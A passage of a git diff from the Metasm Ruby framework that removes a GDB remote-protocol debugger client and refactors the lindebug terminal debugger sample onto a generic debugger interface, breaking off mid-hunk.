dup(addr=@addr_start, len=@length) - self.class.new(@gdbg, addr, len) - end - - def rewrite_at(addr, data) - len = data.length - off = 0 - while len > @pagelength - @gdbg.setmem(addr+off, data[off, @pagelength]) - off += @pagelength - len -= @pagelength - end - @gdbg.setmem(addr+off, data[off, len]) - end - - def get_page(addr) - @gdbg.getmem(addr, @pagelength) - end -end - -class Rubstop - EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'} - GDBREGS = %w[eax ecx edx ebx esp ebp esi edi eip eflags cs ss ds es fs gs] # XXX [77] = 'orig_eax' - # define accessors for registers - GDBREGS.compact.each { |reg| - define_method(reg) { regs_cache[reg] } - define_method(reg + '=') { |v| regs_cache[reg] = v ; regs_dirty } - } - - # compute the hex checksum used in gdb protocol - def gdb_csum(buf) - '%02x' % (buf.unpack('C*').inject(0) { |cs, c| cs + c } & 0xff) - end - - # send the buffer, waits ack - # return true on success - def gdb_send(cmd, buf='') - buf = cmd + buf - buf = '$' << buf << '#' << gdb_csum(buf) - log "gdb_send(#{buf[0, 32].inspect}#{'...' if buf.length > 32})" if $DEBUG - - 5.times { - @io.write buf - loop do - if not IO.select([@io], nil, nil, 1) - break - end - raise Errno::EPIPE if not ack = @io.read(1) - case ack - when '+' - return true - when '-' - log "gdb_send: ack neg" if $DEBUG - break - when nil; return - end - end - } - log "send error #{cmd.inspect} (no ack)" - false - end - - # return buf, or nil on error / csum error - def gdb_readresp - state = :nosync - buf = '' - cs = '' - while state != :done - # XXX timeout etc - raise Errno::EPIPE if not c = @io.read(1) - case state - when :nosync - if c == '$' - state = :data - end - when :data - if c == '#' - state = :csum1 - else - buf << c - end - when :csum1 - cs << c - state = :csum2 - when :csum2 - cs << c - state = :done - if cs.downcase != gdb_csum(buf).downcase - log "transmit error" - @io.write '-' - return - end - end - end - @io.write '+' - - if buf =~ /^E(..)$/ - e = $1.to_i(16) - log "error #{e} (#{Metasm::PTrace::ERRNO.index(e)})" - return - end - log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG - - buf - end - - def gdb_msg(*a) - if gdb_send(*a) - gdb_readresp - end - end - - # rle: build the regexp that will match repetitions of a character, skipping counts leading to invalid char - rng = [3..(125-29)] - [?+, ?-, ?#, ?$].sort.each { |invalid| - invalid -= 29 - rng.each_with_index { |r, i| - if r.include? invalid - replace = [r.begin..invalid-1, invalid+1..r.end] - replace.delete_if { |r_| r_.begin > r_.end } - rng[i, 1] = replace - end - } - } - repet = rng.reverse.map { |r| "\\1{#{r.begin},#{r.end}}" }.join('|') - RLE_RE = /(.)(#{repet})/ - - # rle-compress a buffer - # a character followed by '*' followed by 'x' is asc(x)-28 repetitions of the char - # eg '0* ' => '0' * (asc(' ') - 28) = '0000' - # for the count character, it must be 32 <= char < 126 and not be '+' '-' '#' or '$' - def rle(buf) - buf.gsub(RLE_RE) { - chr, len = $1, $2.length+1 - chr + '*' + (len+28).chr - } - end - # decompress rle-encoded data - def unrle(buf) buf.gsub(/(.)\*(.)/) { $1 * ($2[0]-28) } end - # send an integer as a long hex packed with leading 0 stripped - def hexl(int) [int].pack('N').unpack('H*').first.gsub(/^0+(.)/, '\1') end - # send a binary buffer as a rle hex-encoded - def hex(buf) buf.unpack('H*').first end - # decode an rle hex-encoded buffer - def unhex(buf) - buf = buf[/^[a-fA-F0-9]*/] - buf = '0' + buf if buf.length % 1 == 1 - [buf].pack('H*') - end - - # on-demand local cache of registers - def regs_cache - readregs if @regs_cache.empty? - @regs_cache - end - - # retrieve remote regs - def readregs - sync_regs - if buf = gdb_msg('g') - regs = unhex(unrle(buf)) - if regs.length < GDBREGS.length*4 - # retry once, was probably a response to something else - puts "bad regs size!" if $DEBUG - buf = gdb_msg('g') - regs = unhex(unrle(buf)) if buf - if not buf or regs.length < GDBREGS.length*4 - raise "regs buffer recv is too short !" - end - end - @regs_dirty = false - @regs_cache = Hash[GDBREGS.zip(regs.unpack('L*'))] - end - @curinstr = nil if @regs_cache['eip'] != @oldregs['eip'] - end - - # mark local cache of regs as modified, need to send it before continuing execution - def regs_dirty - @regs_dirty = true - end - - # send the local copy of regs if dirty - def sync_regs - if not @regs_cache.empty? and @regs_dirty - send_regs - end - end - - # send the local copy of regs - def send_regs - return if @regs_cache.empty? - regs = @regs_cache.values_at(*GDBREGS) - @regs_dirty = false - gdb_msg('G', hex(regs.pack('L*'))) - end - - # read memory (small blocks prefered) - def getmem(addr, len) - return '' if len == 0 - if mem = gdb_msg('m', hexl(addr) << ',' << hexl(len)) - unhex(unrle(mem)) - end - end - - # write memory (small blocks prefered) - def setmem(addr, data) - len = data.length - return if len == 0 - raise 'writemem error' if not gdb_msg('M', hexl(addr) << ',' << hexl(len) << ':' << rle(hex(data))) - end - - # read arbitrary blocks of memory (chunks to getmem) - def [](addr, len) - @pgm.encoded[addr, len].data rescue '' - end - - # write arbitrary blocks of memory (chunks to getmem) - def []=(addr, len, str) - @pgm.encoded[addr, len] = str - end - - def curinstr - @curinstr ||= mnemonic_di - end - - def mnemonic_di(addr = eip) - @pgm.encoded.ptr = addr - di = @pgm.cpu.decode_instruction(@pgm.encoded, addr) - @curinstr = di if addr == @regs_cache['eip'] - di - end - - def mnemonic(addr = eip) - mnemonic_di(addr).instruction - end - - def pre_run - @oldregs = regs_cache.dup - sync_regs - end - - def post_run - @regs_cache.clear - @curinstr = nil - @mem.invalidate - end - - def quiet - @quiet = true - begin - yield - ensure - @quiet = false - end - end - - def log_stopped(msg) - return if @quiet ||= false - case msg[0] - when ?T - sig = [msg[1, 2]].pack('H*')[0] - misc = msg[3..-1].split(';').inject({}) { |h, s| k, v = s.split(':', 2) ; h.update k => (v || true) } - str = "stopped by signal #{sig}" - str = "thread #{[misc['thread']].pack('H*').unpack('N').first} #{str}" if misc['thread'] - log str - when ?S - sig = [msg[1, 2]].pack('H*')[0] - log "stopped by signal #{sig}" - end - end - - def cont - pre_run - do_singlestep if @wantbp - rmsg = gdb_msg('c') - post_run - ccaddr = eip-1 - if @breakpoints[ccaddr] and self[ccaddr, 1] == "\xcc" - self[ccaddr, 1] = @breakpoints.delete ccaddr - mem.invalidate - self.eip = ccaddr - @wantbp = ccaddr if not @singleshot.delete ccaddr - sync_regs - end - log_stopped rmsg - end - - def singlestep - pre_run - do_singlestep - post_run - end - - def do_singlestep - gdb_msg('s') - if @wantbp - self[@wantbp, 1] = "\xcc" - @wantbp = nil - end - end - - def stepover - i = curinstr.instruction if curinstr - if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep])) - eaddr = eip + curinstr.bin_length - bpx eaddr, true - quiet { cont } - else - singlestep - end - end - - def stepout - stepover until curinstr and curinstr.opcode.name == 'ret' - singlestep - rescue Interrupt - log 'interrupted' - end - - def bpx(addr, singleshot=false) - return if @breakpoints[addr] - @singleshot[addr] = true if singleshot - @breakpoints[addr] = self[addr, 1] - self[addr, 1] = "\xcc" - end - - - def kill - gdb_send('k') - end - - def detach - # TODO clear breakpoints - gdb_send('D') - end - - attr_accessor :pgm, :breakpoints, :singleshot, :wantbp, - :symbols, :symbols_len, :filemap, :oldregs, :io, :mem - def initialize(io) - case io - when IO; @io = io - when /^udp:([^:]*):(\d+)$/; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?([^:]*):(\d+)$/; @io = TCPSocket.open($1, $2) - else raise "unknown target #{io.inspect}" - end - @pgm = Metasm::ExeFormat.new Metasm::Ia32.new - @mem = GdbRemoteString.new self - @pgm.encoded = Metasm::EncodedData.new @mem - @regs_cache = {} - @regs_dirty = nil - @oldregs = {} - @breakpoints = {} - @singleshot = {} - @wantbp = nil - @symbols = {} - @symbols_len = {} - @filemap = {} - - gdb_setup - end - - def gdb_setup - #gdb_msg('q', 'Supported') - #gdb_msg('Hc', '-1') - #gdb_msg('qC') - if not gdb_msg('?') - log "nobody on the line, waiting for someone to wake up" - IO.select([@io], nil, nil, nil) - log "who's there ?" - end - end - - def set_hwbp(type, addr, len=1, set=true) - set = (set ? 'Z' : 'z') - type = { 'r' => '3', 'w' => '2', 'x' => '1', 's' => '0' }[type] || raise("invalid hwbp type #{type}") - gdb_msg(set, type << ',' << hexl(addr) << ',' << hexl(len)) - true - end - - def unset_hwbp(type, addr, len=1) - set_hwbp(type, addr, len, false) - end - - - def findfilemap(s) - @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???' - end - - def findsymbol(k) - file = findfilemap(k) + '!' - if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k } - file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}") - else - file + ('%08x' % k) - end - end - - def loadsyms(baseaddr, name) - @loadedsyms ||= {} - return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF" - @loadedsyms[name] = true - - set_status " loading symbols from #{name}..." - e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000] - e.load_address = baseaddr - begin - e.decode - #e = Metasm::ELF.decode_file name rescue return # read from disk - rescue - log "failed to load symbols from #{name}: #$!" - ($!.backtrace - caller).each { |l| log l.chomp } - @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000] - return - rescue Interrupt - log "interrupted" - end - - if e.tag['SONAME'] - name = e.tag['SONAME'] - return if name and @loadedsyms[name] - @loadedsyms[name] = true - end - - last_s = e.segments.reverse.find { |s| s.type == 'LOAD' } - vlen = last_s.vaddr + last_s.memsz - vlen -= baseaddr if e.header.type == 'EXEC' - @filemap[name] = [baseaddr, baseaddr + vlen] - - oldsyms = @symbols.length - e.symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - sname = s.name - sname = 'weak_'+sname if s.bind == 'WEAK' - sname = 'local_'+sname if s.bind == 'LOCAL' - v = s.value - v = baseaddr + v if v < baseaddr - @symbols[v] = sname - @symbols_len[v] = s.size - } - if e.header.type == 'EXEC' and e.header.entry >= baseaddr and e.header.entry < baseaddr + vlen - @symbols[e.header.entry] = 'entrypoint' - end - set_status nil - log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}" - end - - # scan val at the beginning of each page (custom gdb msg) - def pageheadsearch(val) - resp = gdb_msg('qy', hexl(val)) - unhex(resp).unpack('L*') - end - - def scansyms - # TODO use qSymbol or something - pageheadsearch("\x7fELF".unpack('L').first).each { |addr| loadsyms(addr, '%08x'%addr) } - end - - # use qSymbol to retrieve a symbol value (uint) - def request_symbol(name) - resp = gdb_msg('qSymbol:', hex(name)) - if resp and a = resp.split(':')[1] - unhex(a).unpack('N').first - end - end - - def loadallsyms - # kgdb: read kernel symbols from 'module_list' - # too bad module_list is not in ksyms - if mod = request_symbol('module_list') - int_at = lambda { |addr, off| @mem[addr+off, 4].unpack('L').first } - mod_size = lambda { int_at[mod, 0] } - mod_next = lambda { int_at[mod, 4] } - mod_nsym = lambda { int_at[mod, 0x18] } # most portable. yes. - mod_syms = lambda { int_at[mod, 0x20] } - - read_strz = lambda { |addr| - if i = @mem.index(?\0, addr) - @mem[addr...i] - end - } - - while mod != 0 - symtab = [[]] - - @mem[mod_syms[], mod_nsym[]*8].to_str.unpack('L*').each { |i| - # make a list of couples - if symtab.last.length < 2 - symtab.last << i - else - symtab << [i] - end - } - - symtab.each { |v, n| - n = read_strz[n] - # ||= to keep symbol precedence order (1st match wins) - @symbols[v] ||= n - } - - mod = mod_next[] - end - end - end - - def loadmap(mapfile) - # file fmt: addr type name eg 'c01001ba t setup_idt' - minaddr = maxaddr = nil - File.read(mapfile).each { |l| - addr, type, name = l.chomp.split - addr = addr.to_i(16) - minaddr = addr if not minaddr or minaddr > addr - maxaddr = addr if not maxaddr or maxaddr < addr - @symbols[addr] = name - } - if minaddr - @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1] - end - end - - def backtrace - s = findsymbol(eip) - if block_given? - yield s - else - bt = [] - bt << s - end - fp = ebp - while fp >= esp and fp <= esp+0x100000 - s = findsymbol(self[fp+4, 4].unpack('L').first) - if block_given? - yield s - else - bt << s - end - fp = self[fp, 4].unpack('L').first - end - bt - end - - attr_accessor :logger - def log(s) - @logger ||= $stdout - @logger.puts s - end - - # set a temporary status info (nil for default value) - def set_status(s) - @logger ||= $stdout - if @logger != $stdout - @logger.statusline = s - else - s ||= ' '*72 - @logger.print s + "\r" - @logger.flush - end - end - - def checkbp ; end -end diff --git a/lib/metasm/samples/lindebug.rb b/lib/metasm/samples/lindebug.rb index 2d20c04eeb..7976bdaafa 100644 --- a/lib/metasm/samples/lindebug.rb +++ b/lib/metasm/samples/lindebug.rb @@ -47,14 +47,15 @@ module Ansi $stdin.ioctl(TIOCGWINSZ, s) >= 0 ? s.unpack('SS') : [80, 25] end def self.set_term_canon(bool) - tty = ''.ljust(256) - $stdin.ioctl(TCGETS, tty) + ttys = ''.ljust(256) + $stdin.ioctl(TCGETS, ttys) + tty = ttys.unpack('C*') if bool tty[12] &= ~(ECHO|CANON) else tty[12] |= ECHO|CANON end - $stdin.ioctl(TCSETS, tty) + $stdin.ioctl(TCSETS, tty.pack('C*')) end ESC_SEQ = {'A' => :up, 'B' => :down, 'C' => :right, 'D' => :left, @@ -85,49 +86,11 @@ module Ansi end end -class Indirect < Metasm::ExpressionType - attr_accessor :ptr, :sz - UNPACK_STR = {1 => 'C', 2 => 'S', 4 => 'L'} - def initialize(ptr, sz) @ptr, @sz = ptr, sz end - def bind(bd) - raw = bd['tracer_memory'][@ptr.bind(bd).reduce, @sz] - Metasm::Expression[raw.unpack(UNPACK_STR[@sz]).first] - end - def externals ; @ptr.externals end -end - -class ExprParser < Metasm::Expression - def self.parse_intfloat(lex, tok) - case tok.raw - when 'byte', 'word', 'dword' - nil while ntok = lex.readtok and ntok.type == :space - nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == 'ptr' - if ntok and ntok.raw == '[' - tok.value = Indirect.new(parse(lex), {'byte' => 1, 'word' => 2, 'dword' => 4}[tok.raw]) - nil while ntok = lex.readtok and ntok.type == :space - nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == ']' - lex.unreadtok ntok - end - else super(lex, tok) - end - end - def self.parse_value(lex) - nil while tok = lex.readtok and tok.type == :space - lex.unreadtok tok - if tok and tok.type == :punct and tok.raw == '[' - tt = tok.dup - tt.type = :string - tt.raw = 'dword' - lex.unreadtok tt - end - super(lex) - end -end - class LinDebug - attr_accessor :win_data_height, :win_code_height, :win_prpt_height + attr_accessor :win_reg_height, :win_data_height, :win_code_height, :win_prpt_height def init_screen Ansi.set_term_canon(true) + @win_reg_height = 2 @win_data_height = 20 @win_code_height = 20 resize @@ -139,7 +102,7 @@ class LinDebug $stdout.flush end - def win_data_start; 2 end + def win_data_start; @win_reg_height end def win_code_start; win_data_start+win_data_height end def win_prpt_start; win_code_start+win_code_height end @@ -164,9 +127,8 @@ class LinDebug attr_accessor :dataptr, :codeptr, :rs, :promptlog, :command def initialize(rs) @rs = rs - @rs.logger = self + @rs.set_log_proc { |l| add_log l } @datafmt = 'db' - @watch = nil @prompthistlen = 20 @prompthistory = [] @@ -176,6 +138,7 @@ class LinDebug @promptpos = 0 @log_off = 0 @console_width = 80 + @oldregs = {} @running = false @focus = :prompt @@ -185,7 +148,7 @@ class LinDebug end def init_rs - @codeptr = @dataptr = @rs.regs_cache['eip'] # avoid initial faults + @codeptr = @dataptr = @rs.pc # avoid initial faults end def main_loop @@ -201,9 +164,9 @@ class LinDebug $stdout.print Ansi.set_cursor_pos(@console_height, 1) end rescue - $stdout.puts $!, $!.backtrace + puts $!, $!.backtrace end - $stdout.puts @promptlog.last + puts @promptlog.last end # optimize string to display to stdout @@ -218,7 +181,7 @@ class LinDebug def display_screen(screenlines, cursx, cursy) @oldscreenbuf ||= [] - lines = screenlines.to_a + lines = screenlines.lines oldlines = @oldscreenbuf @oldscreenbuf = lines screenlines = lines.zip(oldlines).map { |l, ol| l == ol ? "\n" : l }.join @@ -247,41 +210,40 @@ class LinDebug end def _updateregs - text = '' - text << ' ' - x = 1 - %w[eax ebx ecx edx eip].each { |r| - text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r] - text << r << ?= - text << ('%08X' % @rs.regs_cache[r]) - text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r] - text << ' ' - x += r.length + 11 + pvrsz = 0 + words = @rs.register_list.map { |r| + rs = r.to_s.rjust(pvrsz) + pvrsz = rs.length + rv = @rs[r] + ["#{rs}=%0#{@rs.register_size[r]/4}X " % rv, + (@oldregs[r] != rv)] + } + @rs.flag_list.map { |fl| + fv = @rs.get_flag(fl) + [fv ? fl.to_s.upcase : fl.to_s.downcase, + (@oldregs[fl] != fv)] } - text << (' '*([@console_width-x, 0].max)) << "\n" << ' ' - x = 1 - %w[esi edi ebp esp].each { |r| - text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r] - text << r << ?= - text << ('%08X' % @rs.regs_cache[r]) - text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r] - text << ' ' - x += r.length + 11 - } - Rubstop::EFLAGS.sort.each { |off, flag| - val = @rs.regs_cache['eflags'] & (1<= @console_width - 1 + text << (' '*([@console_width-linelen, 0].max)) << "\n " + linelen = 1 + @win_reg_height += 1 end + + text << Color[:changed] if changed + text << w + text << Color[:normal] if changed text << ' ' - x += 2 + + linelen += w.length+1 } - text << (' '*([@console_width-x, 0].max)) << "\n" + resize if owr != @win_reg_height + text << (' '*([@console_width-linelen, 0].max)) << "\n" end def updatecode @@ -291,21 +253,23 @@ class LinDebug def _updatecode if @codeptr addr = @codeptr - elsif @rs.oldregs['eip'] and @rs.oldregs['eip'] < @rs.regs_cache['eip'] and @rs.oldregs['eip'] + 8 >= @rs.regs_cache['eip'] - addr = @rs.oldregs['eip'] + elsif @oldregs[@rs.register_pc] and @oldregs[@rs.register_pc] < @rs.pc and @oldregs[@rs.register_pc] + 8 >= @rs.pc + addr = @oldregs[@rs.register_pc] else - addr = @rs.regs_cache['eip'] + addr = @rs.pc end @codeptr = addr - if @rs.findfilemap(addr) == '???' - base = addr & 0xffff_f000 + addrsz = @rs.register_size[@rs.register_pc] + addrfmt = "%0#{addrsz/4}X" + if not @rs.addr2module(addr) and @rs.shortname !~ /remote/ + base = addr & ((1 << addrsz) - 0x1000) @noelfsig ||= {} # cache elfmagic notfound - if not @noelfsig[base] and base < 0xc000_0000 - self.statusline = " scanning for elf header at #{'%08X' % base}" + if not @noelfsig[base] and base < ((1 << addrsz) - 0x1_0000) + self.statusline = " scanning for elf header at #{addrfmt % base}" 128.times { - @statusline = " scanning for elf header at #{'%08X' % base}" - if not @noelfsig[base] and @rs[base, 4] == Metasm::ELF::MAGIC + @statusline = " scanning for elf header at #{addrfmt % base}" + if not @noelfsig[base] and @rs[base, Metasm::ELF::MAGIC.length] == Metasm::ELF::MAGIC @rs.loadsyms(base, base.to_s(16)) break else @@ -320,36 +284,43 @@ class LinDebug text = '' text << Color[:border] - title = @rs.findsymbol(addr) + title = @rs.addrname(addr) pre = [@console_width-100, 6].max post = @console_width - (pre + title.length + 2) text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" + seg = '' + seg = ('%04X' % @rs['cs']) << ':' if @rs.cpu.shortname =~ /ia32|x64/ + cnt = @win_code_height while (cnt -= 1) > 0 if @rs.symbols[addr] text << (' ' << @rs.symbols[addr] << ?:) << Ansi::ClearLineAfter << "\n" break if (cnt -= 1) <= 0 end - text << Color[:hilight] if addr == @rs.regs_cache['eip'] - text << ('%04X' % @rs.regs_cache['cs']) << ':' - text << ('%08X' % addr) - di = @rs.mnemonic_di(addr) - di = nil if di and addr < @rs.regs_cache['eip'] and addr+di.bin_length > @rs.regs_cache['eip'] + text << Color[:hilight] if addr == @rs.pc + text << seg + if @rs.shortname =~ /remote/ and @rs.realmode + text << (addrfmt % (addr - 16*@rs['cs'])) + else + text << (addrfmt % addr) + end + di = @rs.di_at(addr) + di = nil if di and addr < @rs.pc and addr+di.bin_length > @rs.pc len = (di ? di.bin_length : 1) text << ' ' - text << @rs[addr, [len, 10].min].unpack('C*').map { |c| '%02X' % c }.join.ljust(22) + text << @rs.memory[addr, [len, 10].min].to_s.unpack('C*').map { |c| '%02X' % c }.join.ljust(22) if di text << - if addr == @rs.regs_cache['eip'] - "*#{di.instruction}".ljust([@console_width-37, 0].max) + if addr == @rs.pc + "*#{di.instruction}".ljust([@console_width-(addrsz/4+seg.length+24), 0].max) else " #{di.instruction}" << Ansi::ClearLineAfter end else text << ' ' << Ansi::ClearLineAfter end - text << Color[:normal] if addr == @rs.regs_cache['eip'] + text << Color[:normal] if addr == @rs.pc addr += len text << "\n" end @@ -361,27 +332,33 @@ class LinDebug end def _updatedata - @dataptr &= 0xffff_ffff + addrsz = @rs.register_size[@rs.register_pc] + addrfmt = "%0#{addrsz/4}X" + + @dataptr &= ((1 << addrsz) - 1) addr = @dataptr text = '' text << Color[:border] - title = @rs.findsymbol(addr) + title = @rs.addrname(addr) pre = [@console_width-100, 6].max post = [@console_width - (pre + title.length + 2), 0].max text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" + seg = '' + seg = ('%04X' % @rs['ds']) << ':' if @rs.cpu.shortname =~ /^ia32/ + cnt = @win_data_height while (cnt -= 1) > 0 - raw = @rs[addr, 16].to_s - text << ('%04X' % @rs.regs_cache['ds']) << ':' << ('%08X' % addr) << ' ' + raw = @rs.memory[addr, 16].to_s + text << seg << (addrfmt % addr) << ' ' case @datafmt when 'db'; text << raw[0,8].unpack('C*').map { |c| '%02x ' % c }.join << ' ' << raw[8,8].to_s.unpack('C*').map { |c| '%02x ' % c }.join when 'dw'; text << raw.unpack('S*').map { |c| '%04x ' % c }.join when 'dd'; text << raw.unpack('L*').map { |c| '%08x ' % c }.join end - text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : ?. }.pack('C*') + text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : 0x2e }.pack('C*') text << Ansi::ClearLineAfter << "\n" addr += 16 end @@ -420,17 +397,17 @@ class LinDebug @console_height, @console_width = Ansi.get_terminal_size @win_data_height = 1 if @win_data_height < 1 @win_code_height = 1 if @win_code_height < 1 - if @win_data_height + @win_code_height + 5 > @console_height + if @win_data_height + @win_code_height + @win_reg_height + 3 > @console_height @win_data_height = @console_height/2 - 4 @win_code_height = @console_height/2 - 4 end - @win_prpt_height = @console_height-(@win_data_height+@win_code_height+2) - 1 + @win_prpt_height = @console_height-(@win_data_height+@win_code_height+@win_reg_height) - 1 @oldscreenbuf = [] update end def log(*strs) - strs.each { |str| + strs.each { |str| raise str.inspect if not str.kind_of? ::String str = str.chomp if str.length > @console_width @@ -440,85 +417,52 @@ class LinDebug end @promptlog << str @promptlog.shift if @promptlog.length > @promptloglen - } + } end - def puts(*s) - s.each { |s_| log s_.to_s } - super(*s) if not @running - update rescue super(*s) - end - - def mem_binding(expr) - b = @rs.regs_cache.dup - ext = expr.externals - (ext - @rs.regs_cache.keys).each { |ex| - if not s = @rs.symbols.index(ex) - near = @rs.symbols.values.grep(/#{ex}/i) - if near.length > 1 - log "#{ex.inspect} is ambiguous: #{near.inspect}" - return {} - elsif near.empty? - log "unknown value #{ex.inspect}" - return {} - else - log "using #{near.first.inspect} for #{ex.inspect}" - s = @rs.symbols.index(near.first) - end - end - b[ex] = s - } - b['tracer_memory'] = @rs - b + def add_log(l) + log l + puts l if not @running + update rescue puts l end def exec_prompt @log_off = 0 log ':'+@promptbuf return if @promptbuf == '' - lex = Metasm::Preprocessor.new.feed @promptbuf + str = @promptbuf @prompthistory << @promptbuf @prompthistory.shift if @prompthistory.length > @prompthistlen @promptbuf = '' @promptpos = @promptbuf.length - argint = lambda { - begin - raise if not e = ExprParser.parse(lex) - rescue - log 'syntax error' - return - end - e = e.bind(mem_binding(e)).reduce - if e.kind_of? Integer; e - else log "could not resolve #{e.inspect}" ; nil - end - } - cmd = lex.readtok - cmd = cmd.raw if cmd - nil while ntok = lex.readtok and ntok.type == :space - lex.unreadtok ntok + cmd, str = str.split(/\s+/, 2) if @command.has_key? cmd - @command[cmd].call(lex, argint) + @command[cmd].call(str.to_s) else if cmd and (poss = @command.keys.find_all { |c| c[0, cmd.length] == cmd }).length == 1 - @command[poss.first].call(lex, argint) + @command[poss.first].call(str.to_s) else log 'unknown command' end end end + def preupdate + @rs.register_list.each { |r| @oldregs[r] = @rs[r] } + @rs.flag_list.each { |fl| @oldregs[fl] = @rs.get_flag(fl) } + end + def updatecodeptr - @codeptr ||= @rs.regs_cache['eip'] - if @codeptr > @rs.regs_cache['eip'] or @codeptr < @rs.regs_cache['eip'] - 6*@win_code_height - @codeptr = @rs.regs_cache['eip'] - elsif @codeptr != @rs.regs_cache['eip'] + @codeptr ||= @rs.pc + if @codeptr > @rs.pc or @codeptr < @rs.pc - 6*@win_code_height + @codeptr = @rs.pc + elsif @codeptr != @rs.pc addr = @codeptr addrs = [] - while addr < @rs.regs_cache['eip'] + while addr < @rs.pc addrs << addr - o = ((di = @rs.mnemonic_di(addr)) ? di.bin_length : 0) + o = ((di = @rs.di_at(addr)) ? di.bin_length : 0) addr += ((o == 0) ? 1 : o) end if addrs.length > @win_code_height-4 @@ -529,36 +473,40 @@ class LinDebug end def updatedataptr - @dataptr = @watch.bind(mem_binding(@watch)).reduce if @watch end def singlestep self.statusline = ' target singlestepping...' - @rs.singlestep + preupdate + @rs.singlestep_wait updatecodeptr @statusline = nil end def stepover self.statusline = ' target running...' - @rs.stepover + preupdate + @rs.stepover_wait updatecodeptr @statusline = nil end def cont(*a) self.statusline = ' target running...' - @rs.cont(*a) + preupdate + @rs.continue_wait(*a) updatecodeptr @statusline = nil end def stepout self.statusline = ' target running...' - @rs.stepout + preupdate + @rs.stepout_wait updatecodeptr @statusline = nil end def syscall self.statusline = ' target running to next syscall...' - @rs.syscall + preupdate + @rs.syscall_wait updatecodeptr @statusline = nil end @@ -578,17 +526,14 @@ class LinDebug end break if handle_keypress(Ansi.getkey) end - @rs.checkbp end def handle_keypress(k) case k - when 4; log 'exiting'; return true # eof - when ?\e; focus = :prompt + when ?\4; log 'exiting'; return true # eof + when ?\e; @focus = :prompt when :f5; cont - when :f6 - syscall - log @rs.syscallnr.index(@rs.regs_cache['orig_eax']) || @rs.regs_cache['orig_eax'].to_s + when :f6; syscall when :f10; stepover when :f11; singlestep when :f12; stepout @@ -607,9 +552,9 @@ class LinDebug when :data @dataptr -= 16 when :code - @codeptr ||= @rs.regs_cache['eip'] + @codeptr ||= @rs.pc @codeptr -= (1..10).find { |off| - di = @rs.mnemonic_di(@codeptr-off) + di = @rs.di_at(@codeptr-off) di.bin_length == off if di } || 10 end @@ -628,25 +573,25 @@ class LinDebug when :data @dataptr += 16 when :code - @codeptr ||= @rs.regs_cache['eip'] - di = @rs.mnemonic_di(@codeptr) + @codeptr ||= @rs.pc + di = @rs.di_at(@codeptr) @codeptr += (di ? (di.bin_length || 1) : 1) end when :left; @promptpos -= 1 if @promptpos > 0 when :right; @promptpos += 1 if @promptpos < @promptbuf.length when :home; @promptpos = 0 when :end; @promptpos = @promptbuf.length - when :backspace, 0x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 + when :backspace, ?\x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 when :suppr; @promptbuf[@promptpos, 1] = '' if @promptpos < @promptbuf.length when :pgup case @focus when :prompt; @log_off += @win_prpt_height-3 when :data; @dataptr -= 16*(@win_data_height-1) when :code - @codeptr ||= @rs.regs_cache['eip'] + @codeptr ||= @rs.pc (@win_code_height-1).times { @codeptr -= (1..10).find { |off| - di = @rs.mnemonic_di(@codeptr-off) + di = @rs.di_at(@codeptr-off) di.bin_length == off if di } || 10 } @@ -656,8 +601,8 @@ class LinDebug when :prompt; @log_off -= @win_prpt_height-3 when :data; @dataptr += 16*(@win_data_height-1) when :code - @codeptr ||= @rs.regs_cache['eip'] - (@win_code_height-1).times { @codeptr += ((o = @rs.mnemonic_di(@codeptr)) ? [o.bin_length, 1].max : 1) } + @codeptr ||= @rs.pc + (@win_code_height-1).times { @codeptr += ((o = @rs.di_at(@codeptr)) ? [o.bin_length, 1].max : 1) } end when ?\t if not @promptbuf[0, @promptpos].include? ' ' @@ -676,7 +621,7 @@ class LinDebug rescue Exception log "error: #$!", *$!.backtrace end - when 0x20..0x7e + when ?\ ..?~ @promptbuf[@promptpos, 0] = k.chr @promptpos += 1 else log "unknown key pressed #{k.inspect}" @@ -685,240 +630,89 @@ class LinDebug end def load_commands - ntok = nil - @command['kill'] = lambda { |lex, int| + @command['kill'] = lambda { |str| @rs.kill @running = false log 'killed' } - @command['quit'] = @command['detach'] = @command['exit'] = lambda { |lex, int| + @command['quit'] = @command['detach'] = @command['exit'] = lambda { |str| @rs.detach @running = false } - @command['closeui'] = lambda { |lex, int| - @rs.logger = nil + @command['closeui'] = lambda { |str| @running = false } - @command['bpx'] = lambda { |lex, int| - addr = int[] - @rs.bpx addr + @command['bpx'] = lambda { |str| + @rs.bpx @rs.resolve(str) } - @command['bphw'] = lambda { |lex, int| - type = lex.readtok.raw - addr = int[] - @rs.set_hwbp type, addr + @command['bphw'] = @command['hwbp'] = lambda { |str| + type, str = str.split(/\s+/, 2) + @rs.hwbp @rs.resolve(str.to_s), type } - @command['bl'] = lambda { |lex, int| - log "bpx at #{@rs.findsymbol(@rs.wantbp)}" if @rs.wantbp.kind_of? ::Integer - @rs.breakpoints.sort.each { |addr, oct| - log "bpx at #{@rs.findsymbol(addr)}" - } - (0..3).each { |dr| - if 